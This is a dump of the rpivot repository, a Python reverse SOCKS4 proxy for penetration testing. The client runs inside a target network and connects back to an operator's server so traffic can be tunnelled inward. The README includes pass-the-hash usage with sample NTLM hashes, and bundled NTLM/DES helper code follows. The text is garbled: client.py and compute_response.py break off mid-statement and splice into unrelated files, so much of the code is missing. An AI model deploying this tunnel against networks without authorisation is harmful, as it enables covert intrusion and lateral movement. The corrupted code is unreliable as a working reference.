Repository: artkond/rpivot Branch: master Commit: 4963487d1923 Files: 23 Total size: 189.6 KB Directory structure: gitextract_pp1v33z2/ ├── .gitignore ├── README.md ├── __main__.py ├── client.py ├── ntlm_auth/ │ ├── U32.py │ ├── __init__.py │ ├── compute_hash.py │ ├── compute_keys.py │ ├── compute_response.py │ ├── constants.py │ ├── des.py │ ├── des_c.py │ ├── des_data.py │ ├── gss_channel_bindings.py │ ├── messages.py │ ├── ntlm.py │ ├── rc4.py │ ├── session_security.py │ └── target_info.py ├── ordereddict.py ├── relay.py ├── server.py └── six.py ================================================ FILE CONTENTS ================================================ ================================================ FILE: .gitignore ================================================ venv build ================================================ FILE: README.md ================================================ RPIVOT - reverse socks 4 proxy for penetration tests =================== RPIVOT allows to tunnel traffic into internal network via socks 4. It works like ssh dynamic port forwarding but in the opposite direction. ---------- Description ------------- This tool is Python 2.6-2.7 compatible and has no dependencies beyond the standard library. It has client-server architecture. Just run the client on the machine you want to tunnel the traffic through. Server should be started on pentester's machine and listen to incoming connections from the client. Works on Kali Linux, Solaris 10, Windows, Mac OS. Usage example ------------- Start server listener on port 9999, which creates a socks 4 proxy on 127.0.0.1:1080 upon connection from client: `python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 --proxy-port 1080` Connect to the server: `python client.py --server-ip --server-port 9999` To pivot through an NTLM proxy: `python client.py --server-ip --server-port 9999 --ntlm-proxy-ip --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --password P@ssw0rd` Pass-the-hash is supported: `python client.py --server-ip --server-port 9999 --ntlm-proxy-ip --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --hashes 9b9850751be2515c8231e5189015bbe6:49ef7638d69a01f26d96ed673bf50c45` You can use `proxychains` to tunnel traffic through socks proxy. Edit /etc/proxychains.conf: ``` [ProxyList] # add proxy here ... # meanwile # defaults set to "tor" socks4 127.0.0.1 1080 ``` Using single zip file mode: ``` zip rpivot.zip -r *.py ./ntlm_auth/ python rpivot.zip server python rpivot.zip client ``` Pivot and have fun: `proxychains ` Pre-built Windows client binary available in release section. Author ------ Artem Kondratenko https://twitter.com/artkond ================================================ FILE: __main__.py ================================================ #!/usr/bin/env python import sys try: rpivot_type = sys.argv.pop(1).lower() if rpivot_type not in ('client', 'server'): raise IndexError('Bad rpivot type') except IndexError: print('{} ...'.format(sys.argv[0])) sys.exit(1) if rpivot_type == 'client': import client client.main() elif rpivot_type == 'server': import server server.main() ================================================ FILE: client.py ================================================ #!/usr/bin/env python import logging import logging.handlers import socket import sys import time from struct import pack, unpack import select import optparse import errno import relay import threading from ntlm_auth.ntlm import Ntlm import re logger = None def key_by_value(my_dict, value): for k, v in my_dict.iteritems(): if v == value: return k return None class SocksRelay: STATUS_SUCCESS = 0 STATUS_REFUSED = 1 STATUS_TIMEOUT = 2 def __init__(self, bc_sock): self.channel = {} self.id_by_socket = {} self.bc_sock = bc_sock self.input_list = [self.bc_sock] self.establishing_dict = {} self.forward_socket = None self.data = None self.last_ping_time = time.time() logger.debug('Starting ping thread') self.ping_thread = threading.Thread(target=self.ping_worker) self.ping_thread.start() self.remote_side_down = False def ping_worker(self): while True: time.sleep(10) current_time = time.time() logger.debug('In ping worker') if self.remote_side_down: logger.debug('Remote side down. Exiting ping worker') return if current_time - self.last_ping_time > relay.relay_timeout: logger.info('No response from remote side for {0} seconds. Restarting relay'.format(relay.relay_timeout)) self.bc_sock.close() return def shutdown(self): self.remote_side_down = True relay.close_sockets(self.input_list) sys.exit(1) def run(self): inputready = None outputready = None exceptready = None while True: try: time.sleep(relay.delay) logger.debug("Active channels: {0}. Pending Channels {1}".format(self.channel.keys(), self.establishing_dict.values())) inputready, outputready, exceptready = select.select(self.input_list, self.establishing_dict.keys(), [], 15) except KeyboardInterrupt: logger.info('SIGINT received. Closing relay and exiting') self.send_remote_cmd(self.bc_sock, relay.CLOSE_RELAY) self.shutdown() except select.error as (code, msg): logger.debug('Select error on select. Errno: {0} Msg: {1}'.format(errno.errorcode[code], msg)) self.shutdown() except socket.error as (code, msg): logger.debug('Socket error on select. Errno: {0} Msg: {1}'.format(errno.errorcode[code], msg)) self.shutdown() for sock in outputready: channel_id = self.establishing_dict[sock] logger.debug('Establishing connection with channel id {0}'.format(channel_id)) try: sock.recv(0) except socket.error as (code, err_msg): if code == errno.ECONNREFUSED or code == errno.ETIMEDOUT: logger.debug('Connection {0}'.format(errno.errorcode[code])) if sock in inputready: inputready.remove(sock) del self.establishing_dict[sock] self.send_remote_cmd(self.bc_sock, relay.FORWARD_CONNECTION_FAILURE, channel_id) sock.close() continue elif code == errno.EAGAIN: logger.debug('Recv(0) return errno.EAGAIN for socket {0} on channel {1}. Connection established.'.format(sock, channel_id)) elif code == 10035: logger.debug('Recv(0) raised windows-specific exception 10035. Connection established.') else: raise logger.debug('Connection established on channel {0}'.format(channel_id)) sock.setblocking(1) self.send_remote_cmd(self.bc_sock, relay.FORWARD_CONNECTION_SUCCESS, self.establishing_dict[sock]) del self.establishing_dict[sock] self.input_list.append(sock) self.set_channel(sock, channel_id) for self.selected_input_socket in inputready: if self.selected_input_socket == self.bc_sock: try: self.manage_remote_socket(self.bc_sock) except relay.RelayError: logger.debug('Remote side closed socket') relay.close_sockets(self.input_list) return else: self.manage_forward_socket(self.selected_input_socket) def handle_remote_cmd(self, data): cmd = data[0] logger.debug('Received cmd data from remote side. Cmd: {0}'.format(relay.cmd_names[cmd])) if cmd == relay.CHANNEL_CLOSE_CMD: channel_id = unpack(' # # This library is free software: you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation, either # version 3 of the License, or (at your option) any later version. # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # You should have received a copy of the GNU Lesser General Public # License along with this library. If not, see or . from __future__ import division import six C = 0x1000000000 def norm(n): return n & 0xFFFFFFFF class U32: v = 0 def __init__(self, value=0): if not isinstance(value, six.integer_types): value = six.byte2int(value) self.v = C + norm(abs(int(value))) def set(self, value=0): self.v = C + norm(abs(int(value))) def __repr__(self): return hex(norm(self.v)) def __long__(self): return int(norm(self.v)) def __int__(self): return int(norm(self.v)) def __chr__(self): return chr(norm(self.v)) def __add__(self, b): r = U32() r.v = C + norm(self.v + b.v) return r def __sub__(self, b): r = U32() if self.v < b.v: r.v = C + norm(0x100000000 - (b.v - self.v)) else: r.v = C + norm(self.v - b.v) return r def __mul__(self, b): r = U32() r.v = C + norm(self.v * b.v) return r def __div__(self, b): r = U32() r.v = C + (norm(self.v) // norm(b.v)) return r def __truediv__(self, b): r = U32() r.v = C + (norm(self.v) / norm(b.v)) return r def __mod__(self, b): r = U32() r.v = C + (norm(self.v) % norm(b.v)) return r def __neg__(self): return U32(self.v) def __pos__(self): return U32(self.v) def __abs__(self): return U32(self.v) def __invert__(self): r = U32() r.v = C + norm(~self.v) return r def __lshift__(self, b): r = U32() r.v = C + norm(self.v << b) return r def __rshift__(self, b): r = U32() r.v = C + (norm(self.v) >> b) return r def __and__(self, b): r = U32() r.v = C + norm(self.v & b.v) return r def __or__(self, b): r = U32() r.v = C + norm(self.v | b.v) return r def __xor__(self, b): r = U32() r.v = C + norm(self.v ^ b.v) return r def __not__(self): return U32(not norm(self.v)) def truth(self): return norm(self.v) def __cmp__(self, b): if norm(self.v) > norm(b.v): return 1 elif norm(self.v) < norm(b.v): return -1 else: return 0 def __lt__(self, other): return self.v < other.v def __gt__(self, other): return self.v > other.v def __eq__(self, other): return self.v == other.v def __le__(self, other): return self.v <= other.v def __ge__(self, other): return self.v >= other.v def __ne__(self, other): return self.v != other.v def __nonzero__(self): return norm(self.v) ================================================ FILE: ntlm_auth/__init__.py ================================================ from . import ntlm, session_security __all__ = ('ntlm', 'session_security') ================================================ FILE: ntlm_auth/compute_hash.py ================================================ # This library is free software: you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation, either # version 3 of the License, or (at your option) any later version. # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # You should have received a copy of the GNU Lesser General Public # License along with this library. If not, see or . import binascii import hashlib import hmac import re from ntlm_auth import des def _lmowfv1(password, lmhash): """ [MS-NLMP] v28.0 2016-07-14 3.3.1 NTLM v1 Authentication Same function as LMOWFv1 in document to create a one way hash of the password. Only used in NTLMv1 auth without session security :param password: The password of the user we are trying to authenticate with :return res: A Lan Manager hash of the password supplied """ # fix the password length to 14 bytes if lmhash is not None: return lmhash.decode('hex') password = password.upper() lm_pw = password[0:14] # do hash magic_str = b"KGS!@#$%" # page 56 in [MS-NLMP v28.0] res = b'' dobj = des.DES(lm_pw[0:7]) res = res + dobj.encrypt(magic_str) dobj = des.DES(lm_pw[7:14]) res = res + dobj.encrypt(magic_str) return res def _ntowfv1(password, nthash): """ [MS-NLMP] v28.0 2016-07-14 3.3.1 NTLM v1 Authentication Same function as NTOWFv1 in document to create a one way hash of the password. Only used in NTLMv1 auth without session security :param password: The password of the user we are trying to authenticate with :return digest: An NT hash of the password supplied """ if nthash is not None: return nthash.decode('hex') digest = hashlib.new('md4', password.encode('utf-16le')).digest() return digest def _ntowfv2(user_name, password, nthash, domain_name): """ [MS-NLMP] v28.0 2016-07-14 3.3.2 NTLM v2 Authentication Same function as NTOWFv2 (and LMOWFv2) in document to create a one way hash of the password. This combines some extra security features over the v1 calculations used in NTLMv2 auth. :param user_name: The user name of the user we are trying to authenticate with :param password: The password of the user we are trying to authenticate with :param domain_name: The domain name of the user account we are authenticated with :return digest: An NT hash of the parameters supplied """ digest = _ntowfv1(password, nthash) digest = hmac.new(digest, (user_name.upper() + domain_name).encode('utf-16le')).digest() return digest ================================================ FILE: ntlm_auth/compute_keys.py ================================================ # This library is free software: you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation, either # version 3 of the License, or (at your option) any later version. # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # You should have received a copy of the GNU Lesser General Public # License along with this library. If not, see or . import binascii import hashlib import hmac from ntlm_auth import des from ntlm_auth.constants import NegotiateFlags def _get_exchange_key_ntlm_v1(negotiate_flags, session_base_key, server_challenge, lm_challenge_response, lm_hash): """ [MS-NLMP] v28.0 2016-07-14 4.3.5.1 KXKEY Calculates the Key Exchange Key for NTLMv1 authentication. Used for signing and sealing messages @param negotiate_flags: @param session_base_key: A session key calculated from the user password challenge @param server_challenge: A random 8-byte response generated by the server in the CHALLENGE_MESSAGE @param lm_challenge_response: The LmChallengeResponse value computed in ComputeResponse @param lm_hash: The LMOWF computed in Compute Response @return key_exchange_key: The Key Exchange Key (KXKEY) used to sign and seal messages and compute the ExportedSessionKey """ if negotiate_flags & NegotiateFlags.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY: key_exchange_key = hmac.new(session_base_key, server_challenge + lm_challenge_response[:8]).digest() elif negotiate_flags & NegotiateFlags.NTLMSSP_NEGOTIATE_LM_KEY: des_handler = des.DES(lm_hash[:7]) first_des = des_handler.encrypt(lm_challenge_response[:8]) des_handler = des.DES(lm_hash[7:8] + binascii.unhexlify('bdbdbdbdbdbdbd')) second_des = des_handler.encrypt(lm_challenge_response[:8]) key_exchange_key = first_des + second_des elif negotiate_flags & NegotiateFlags.NTLMSSP_REQUEST_NON_NT_SESSION_KEY: key_exchange_key = lm_hash[:8] + b'\0' * 8 else: key_exchange_key = session_base_key return key_exchange_key def _get_exchange_key_ntlm_v2(session_base_key): """ [MS-NLMP] v28.0 2016-07-14 4.3.5.1 KXKEY Calculates the Key Exchange Key for NTLMv2 authentication. Used for signing and sealing messages. According to docs, 'If NTLM v2 is used, KeyExchangeKey MUST be set to the given 128-bit SessionBaseKey @param session_base_key: A session key calculated from the user password challenge @return key_exchange_key: The Key Exchange Key (KXKEY) used to sign and seal messages """ return session_base_key def get_sign_key(exported_session_key, magic_constant): """ 3.4.5.2 SIGNKEY @param exported_session_key: A 128-bit session key used to derive signing and sealing keys @param magic_constant: A constant value set in the MS-NLMP documentation (constants.SignSealConstants) @return sign_key: Key used to sign messages """ sign_key = hashlib.md5(exported_session_key + magic_constant).digest() return sign_key def get_seal_key(negotiate_flags, exported_session_key, magic_constant): """ 3.4.5.3. SEALKEY Main method to use to calculate the seal_key used to seal (encrypt) messages. This will determine the correct method below to use based on the compatibility flags set and should be called instead of the others @param exported_session_key: A 128-bit session key used to derive signing and sealing keys @param negotiate_flags: The negotiate_flags structure sent by the server @param magic_constant: A constant value set in the MS-NLMP documentation (constants.SignSealConstants) @return seal_key: Key used to seal messages """ if negotiate_flags & NegotiateFlags.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY: seal_key = _get_seal_key_ntlm2(negotiate_flags, exported_session_key, magic_constant) elif negotiate_flags & NegotiateFlags.NTLMSSP_NEGOTIATE_LM_KEY: seal_key = _get_seal_key_ntlm1(negotiate_flags, exported_session_key) else: seal_key = exported_session_key return seal_key def _get_seal_key_ntlm1(negotiate_flags, exported_session_key): """ 3.4.5.3 SEALKEY Calculates the seal_key used to seal (encrypt) messages. This for authentication where NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY has not been negotiated. Will weaken the keys if NTLMSSP_NEGOTIATE_56 is not negotiated it will default to the 40-bit key @param negotiate_flags: The negotiate_flags structure sent by the server @param exported_session_key: A 128-bit session key used to derive signing and sealing keys @return seal_key: Key used to seal messages """ if negotiate_flags & NegotiateFlags.NTLMSSP_NEGOTIATE_56: seal_key = exported_session_key[:7] + binascii.unhexlify('a0') else: seal_key = exported_session_key[:5] + binascii.unhexlify('e538b0') return seal_key def _get_seal_key_ntlm2(negotiate_flags, exported_session_key, magic_constant): """ 3.4.5.3 SEALKEY Calculates the seal_key used to seal (encrypt) messages. This for authentication where NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY has been negotiated. Will weaken the keys if NTLMSSP_NEGOTIATE_128 is not negotiated, will try NEGOTIATE_56 and then will default to the 40-bit key @param negotiate_flags: The negotiate_flags structure sent by the server @param exported_session_key: A 128-bit session key used to derive signing and sealing keys @param magic_constant: A constant value set in the MS-NLMP documentation (constants.SignSealConstants) @return seal_key: Key used to seal messages """ if negotiate_flags & NegotiateFlags.NTLMSSP_NEGOTIATE_128: seal_key = exported_session_key elif negotiate_flags & NegotiateFlags.NTLMSSP_NEGOTIATE_56: seal_key = exported_session_key[:7] else: seal_key = exported_session_key[:5] seal_key = hashlib.md5(seal_key + magic_constant).digest() return seal_key ================================================ FILE: ntlm_auth/compute_response.py ================================================ # This library is free software: you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation, either # version 3 of the License, or (at your option) any later version. # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # You should have received a copy of the GNU Lesser General Public # License along with this library. If not, see or . import base64 import calendar import hashlib import hmac import os import struct import time import ntlm_auth.compute_hash as comphash import ntlm_auth.compute_keys as compkeys from ntlm_auth import des from ntlm_auth.constants import NegotiateFlags, AvFlags from ntlm_auth.gss_channel_bindings import GssChannelBindingsStruct from ntlm_auth.target_info import TargetInfo class ComputeResponse(): """ Constructor for the response computations. This class will compute the various nt and lm challenge responses. :param user_name: The user name of the user we are trying to authenticate with :param password: The password of the user we are trying to authenticate with :param domain_name: The domain name of the user account we are authenticated with, default is None :param challenge_message: A ChallengeMessage object that was received from the server after the negotiate_message :param ntlm_compatibility: The Lan Manager Compatibility Level, used to determine what NTLM auth version to use, see Ntlm in ntlm.py for more details """ def __init__(self, user_name, password, nthash, lmhash, domain_name, challenge_message, ntlm_compatibility): self._user_name = user_name self._password = password self._nthash = nthash self._lmhash = lmhash self._domain_name = domain_name self._challenge_message = challenge_message self._negotiate_flags = challenge_message.negotiate_flags self._server_challenge = challenge_message.server_challenge self._server_target_info = challenge_message.target_info self._ntlm_compatibility = ntlm_compatibility self._client_challenge = os.urandom(8) def get_lm_challenge_response(self): """ [MS-NLMP] v28.0 2016-07-14 3.3.1 - NTLM v1 Authentication 3.3.2 - NTLM v2 Authentication This method returns the LmChallengeResponse key based on the ntlm_compatibility chosen and the target_info supplied by the CHALLENGE_MESSAGE. It is quite different from what is set in the document as it combines the NTLMv1, NTLM2 and NTLMv2 methods into one and calls separate methods based on the ntlm_compatibility flag chosen. :return: response (LmChallengeResponse) - The LM response to the server challenge. Computed by the client """ if self._negotiate_flags & NegotiateFlags.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY and self._ntlm_compatibility < 3: response = ComputeResponse._get_LMv1_with_session_security_response(self._client_challenge) elif 0 <= self._ntlm_compatibility <= 1: response = ComputeResponse._get_LMv1_response(self._password, self._lmhash, self._server_challenge) elif self._ntlm_compatibility == 2: # Based on the compatibility level we don't want to use LM responses, ignore the session_base_key as it is returned in nt response, ignore_key = ComputeResponse._get_NTLMv1_response(self._password, self._nthash, self._server_challenge) else: """ [MS-NLMP] v28.0 page 45 - 2016-07-14 3.1.5.12 Client Received a CHALLENGE_MESSAGE from the Server If NTLMv2 authentication is used and the CHALLENGE_MESSAGE TargetInfo field has an MsvAvTimestamp present, the client SHOULD NOT send the LmChallengeResponse and SHOULD send Z(24) instead. """ response = ComputeResponse._get_LMv2_response(self._user_name, self._password, self._nthash, self._domain_name, self._server_challenge, self._client_challenge) if self._server_target_info is not None: timestamp = self._server_target_info[TargetInfo.MSV_AV_TIMESTAMP] if timestamp is not None: response = b'\0' * 24 return response def get_nt_challenge_response(self, lm_challenge_response, server_certificate_hash): """ [MS-NLMP] v28.0 2016-07-14 3.3.1 - NTLM v1 Authentication 3.3.2 - NTLM v2 Authentication This method returns the NtChallengeResponse key based on the ntlm_compatibility chosen and the target_info supplied by the CHALLENGE_MESSAGE. It is quite different from what is set in the document as it combines the NTLMv1, NTLM2 and NTLMv2 methods into one and calls separate methods based on the ntlm_compatibility value chosen. :param lm_challenge_response: The LmChallengeResponse calculated beforeand, used to get the key_exchange_key value :param server_certificate_hash: The SHA256 hash of the server certificate (DER encoded) NTLM is authenticated to. Used in Channel Binding Tokens if present, default value is None. See AuthenticateMessage in messages.py for more details :return response: (NtChallengeResponse) - The NT response to the server challenge. Computed by the client :return session_base_key: (SessionBaseKey) - A session key calculated from the user password challenge :return target_info: (AV_PAIR) - The AV_PAIR structure used in the nt_challenge calculations """ if self._negotiate_flags & NegotiateFlags.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY and self._ntlm_compatibility < 3: # The compatibility level is less than 3 which means it doesn't support NTLMv2 but we want extended security so use NTLM2 which is different from NTLMv2 # [MS-NLMP] - 3.3.1 NTLMv1 Authentication response, session_base_key = ComputeResponse._get_NTLM2_response(self._password, self._nthash, self._server_challenge, self._client_challenge) key_exchange_key = compkeys._get_exchange_key_ntlm_v1(self._negotiate_flags, session_base_key, self._server_challenge, lm_challenge_response, comphash._lmowfv1(self._password, self._lmhash)) target_info = None elif 0 <= self._ntlm_compatibility < 3: response, session_base_key = ComputeResponse._get_NTLMv1_response(self._password, self._nthash, self._server_challenge) key_exchange_key = compkeys._get_exchange_key_ntlm_v1(self._negotiate_flags, session_base_key, self._server_challenge, lm_challenge_response, comphash._lmowfv1(self._password, self._lmhash)) target_info = None else: if self._server_target_info is None: target_info = TargetInfo() else: target_info = self._server_target_info if target_info[TargetInfo.MSV_AV_TIMESTAMP] is None: timestamp = get_windows_timestamp() else: timestamp = target_info[TargetInfo.MSV_AV_TIMESTAMP][1] # [MS-NLMP] If the CHALLENGE_MESSAGE TargetInfo field has an MsvAvTimestamp present, the client SHOULD provide a MIC target_info[TargetInfo.MSV_AV_FLAGS] = struct.pack(" or . """ [MS-NLMP] v28.0 2016-07-14 2.2 Message Syntax The signature field used in NTLM messages """ NTLM_SIGNATURE = b'NTLMSSP\0' """ [MS-NLMP] v28.0 2016-07-14 2.2 Message Syntax The 3 message type options you can have in a message. """ class MessageTypes(object): NTLM_NEGOTIATE = 0x1 NTLM_CHALLENGE = 0x2 NTLM_AUTHENTICATE = 0x3 """ [MS-NLMP] v28.0 2016-07-14 2.2.2.1 AV_PAIR (MsvAvFlags) A 32-bit value indicated server or client configuration """ class AvFlags(object): AUTHENTICATION_CONSTRAINED = 0x1 MIC_PROVIDED = 0x2 UNTRUSTED_SPN_SOURCE = 0x4 """ [MS-NLMP] v28.0 2016-07-14 2.2.2.5 NEGOTIATE During NTLM authentication, each of the following flags is a possible value of the NegotiateFlags field of the NEGOTIATE_MESSAGE, CHALLENGE_MESSAGE and AUTHENTICATE_MESSAGE, unless otherwise noted. These flags define client or server NTLM capabilities supported by the sender. """ class NegotiateFlags(object): NTLMSSP_NEGOTIATE_56 = 0x80000000 NTLMSSP_NEGOTIATE_KEY_EXCH = 0x40000000 NTLMSSP_NEGOTIATE_128 = 0x20000000 NTLMSSP_RESERVED_R1 = 0x10000000 NTLMSSP_RESERVED_R2 = 0x08000000 NTLMSSP_RESERVED_R3 = 0x04000000 NTLMSSP_NEGOTIATE_VERSION = 0x02000000 NTLMSSP_RESERVED_R4 = 0x01000000 NTLMSSP_NEGOTIATE_TARGET_INFO = 0x00800000 NTLMSSP_REQUEST_NON_NT_SESSION_KEY = 0x00400000 NTLMSSP_RESERVED_R5 = 0x00200000 NTLMSSP_NEGOTIATE_IDENTITY = 0x00100000 NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY = 0x00080000 NTLMSSP_RESERVED_R6 = 0x00040000 NTLMSSP_TARGET_TYPE_SERVER = 0x00020000 NTLMSSP_TARGET_TYPE_DOMAIN = 0x00010000 NTLMSSP_NEGOTIATE_ALWAYS_SIGN = 0x00008000 NTLMSSP_RESERVED_R7 = 0x00004000 NTLMSSP_NEGOTIATE_OEM_WORKSTATION_SUPPLIED = 0x00002000 NTLMSSP_NEGOTIATE_OEM_DOMAIN_SUPPLIED = 0x00001000 NTLMSSP_ANOYNMOUS = 0x00000800 NTLMSSP_RESERVED_R8 = 0x00000400 NTLMSSP_NEGOTIATE_NTLM = 0x00000200 NTLMSSP_RESERVED_R9 = 0x00000100 NTLMSSP_NEGOTIATE_LM_KEY = 0x00000080 NTLMSSP_NEGOTIATE_DATAGRAM = 0x00000040 NTLMSSP_NEGOTIATE_SEAL = 0x00000020 NTLMSSP_NEGOTIATE_SIGN = 0x00000010 NTLMSSP_RESERVED_R10 = 0x00000008 NTLMSSP_REQUEST_TARGET = 0x00000004 NTLMSSP_NEGOTIATE_OEM = 0x00000002 NTLMSSP_NEGOTIATE_UNICODE = 0x00000001 class SignSealConstants(object): # Magic Contants used to get the signing and sealing key for Extended Session Security CLIENT_SIGNING = b"session key to client-to-server signing key magic constant\0" SERVER_SIGNING = b"session key to server-to-client signing key magic constant\0" CLIENT_SEALING = b"session key to client-to-server sealing key magic constant\0" SERVER_SEALING = b"session key to server-to-client sealing key magic constant\0" ================================================ FILE: ntlm_auth/des.py ================================================ # This file is part of 'NTLM Authorization Proxy Server' http://sourceforge.net/projects/ntlmaps/ # Copyright 2001 Dmitry A. Rozmanov # # This library is free software: you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation, either # version 3 of the License, or (at your option) any later version. # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library. If not, see or . import logging import six from ntlm_auth import des_c log = logging.getLogger(__name__) class DES: des_c_obj = None def __init__(self, key_str): k = str_to_key56(key_str) k = key56_to_key64(k) key_str = b'' for i in k: key_str += six.int2byte(i & 0xFF) self.des_c_obj = des_c.DES(key_str) def encrypt(self, plain_text): return self.des_c_obj.encrypt(plain_text) def decrypt(self, crypted_text): return self.des_c_obj.decrypt(crypted_text) DESException = 'DESException' def str_to_key56(key_str): if not type(key_str) == six.binary_type: # TODO rsanders high - figure out how to make this not necessary key_str = key_str.encode('ascii') if len(key_str) < 7: key_str = key_str + b'\000\000\000\000\000\000\000'[:(7 - len(key_str))] key_56 = [] for i in six.iterbytes(key_str[:7]): key_56.append(i) return key_56 def key56_to_key64(key_56): key = [] for i in range(8): key.append(0) key[0] = key_56[0] key[1] = ((key_56[0] << 7) & 0xFF) | (key_56[1] >> 1) key[2] = ((key_56[1] << 6) & 0xFF) | (key_56[2] >> 2) key[3] = ((key_56[2] << 5) & 0xFF) | (key_56[3] >> 3) key[4] = ((key_56[3] << 4) & 0xFF) | (key_56[4] >> 4) key[5] = ((key_56[4] << 3) & 0xFF) | (key_56[5] >> 5) key[6] = ((key_56[5] << 2) & 0xFF) | (key_56[6] >> 6) key[7] = (key_56[6] << 1) & 0xFF key = set_key_odd_parity(key) return key def set_key_odd_parity(key): for i in range(len(key)): for k in range(7): bit = 0 t = key[i] >> k bit = (t ^ bit) & 0x1 key[i] = (key[i] & 0xFE) | bit return key ================================================ FILE: ntlm_auth/des_c.py ================================================ # This file is part of 'NTLM Authorization Proxy Server' http://sourceforge.net/projects/ntlmaps/ # Copyright 2001 Dmitry A. Rozmanov # # This library is free software: you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation, either # version 3 of the License, or (at your option) any later version. # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # You should have received a copy of the GNU Lesser General Public # License along with this library. If not, see or . import six from ntlm_auth.U32 import U32 from ntlm_auth.des_data import des_SPtrans, des_skb def c2l(c): "char[4] to unsigned long" l = U32(c[0]) l = l | (U32(c[1]) << 8) l = l | (U32(c[2]) << 16) l = l | (U32(c[3]) << 24) return l def l2c(l): "unsigned long to char[4]" c = [] c.append(int(l & U32(0xFF))) c.append(int((l >> 8) & U32(0xFF))) c.append(int((l >> 16) & U32(0xFF))) c.append(int((l >> 24) & U32(0xFF))) return c def D_ENCRYPT(tup, u, t, s): L, R, S = tup # print 'LRS1', L, R, S, u, t, '-->', u = (R ^ s[S]) t = R ^ s[S + 1] t = ((t >> 4) + (t << 28)) L = L ^ (des_SPtrans[1][int((t) & U32(0x3f))] | des_SPtrans[3][int((t >> 8) & U32(0x3f))] | des_SPtrans[5][int((t >> 16) & U32(0x3f))] | des_SPtrans[7][int((t >> 24) & U32(0x3f))] | des_SPtrans[0][int((u) & U32(0x3f))] | des_SPtrans[2][int((u >> 8) & U32(0x3f))] | des_SPtrans[4][int((u >> 16) & U32(0x3f))] | des_SPtrans[6][int((u >> 24) & U32(0x3f))]) # print 'LRS:', L, R, S, u, t return (L, R, S), u, t, s def PERM_OP(tup, n, m): "tup - (a, b, t)" a, b, t = tup t = ((a >> n) ^ b) & m b = b ^ t a = a ^ (t << n) return (a, b, t) def HPERM_OP(tup, n, m): "tup - (a, t)" a, t = tup t = ((a << (16 - n)) ^ a) & m a = a ^ t ^ (t >> (16 - n)) return a, t shifts2 = [0, 0, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 0] class DES: KeySched = None # des_key_schedule def __init__(self, key_str): self.KeySched = des_set_key(key_str) def decrypt(self, str): # block - UChar[] block = [] for i in six.iterbytes(str): block.append(i) # print block block = des_ecb_encrypt(block, self.KeySched, 0) res = b'' for i in block: res = res + six.int2byte(i) return res def encrypt(self, plaintext): # block - UChar[] block = [] for i in plaintext: block.append(i) block = des_ecb_encrypt(block, self.KeySched, 1) res = b'' for i in block: res += six.int2byte(i) return res def des_encript(input, ks, encrypt): # input - U32[] # output - U32[] # ks - des_key_shedule - U32[2][16] # encrypt - int # l, r, t, u - U32 # i - int # s - U32[] l = input[0] r = input[1] t = U32(0) u = U32(0) r, l, t = PERM_OP((r, l, t), 4, U32(0x0f0f0f0f)) l, r, t = PERM_OP((l, r, t), 16, U32(0x0000ffff)) r, l, t = PERM_OP((r, l, t), 2, U32(0x33333333)) l, r, t = PERM_OP((l, r, t), 8, U32(0x00ff00ff)) r, l, t = PERM_OP((r, l, t), 1, U32(0x55555555)) t = (r << 1) | (r >> 31) r = (l << 1) | (l >> 31) l = t s = ks # ??????????????? # print l, r if encrypt: for i in range(0, 32, 4): rtup, u, t, s = D_ENCRYPT((l, r, i + 0), u, t, s) l = rtup[0] r = rtup[1] rtup, u, t, s = D_ENCRYPT((r, l, i + 2), u, t, s) r = rtup[0] l = rtup[1] else: for i in range(30, 0, -4): rtup, u, t, s = D_ENCRYPT((l, r, i - 0), u, t, s) l = rtup[0] r = rtup[1] rtup, u, t, s = D_ENCRYPT((r, l, i - 2), u, t, s) r = rtup[0] l = rtup[1] # print l, r l = (l >> 1) | (l << 31) r = (r >> 1) | (r << 31) r, l, t = PERM_OP((r, l, t), 1, U32(0x55555555)) l, r, t = PERM_OP((l, r, t), 8, U32(0x00ff00ff)) r, l, t = PERM_OP((r, l, t), 2, U32(0x33333333)) l, r, t = PERM_OP((l, r, t), 16, U32(0x0000ffff)) r, l, t = PERM_OP((r, l, t), 4, U32(0x0f0f0f0f)) output = [l] output.append(r) l, r, t, u = U32(0), U32(0), U32(0), U32(0) return output def des_ecb_encrypt(input, ks, encrypt): # input - des_cblock - UChar[8] # output - des_cblock - UChar[8] # ks - des_key_shedule - U32[2][16] # encrypt - int # 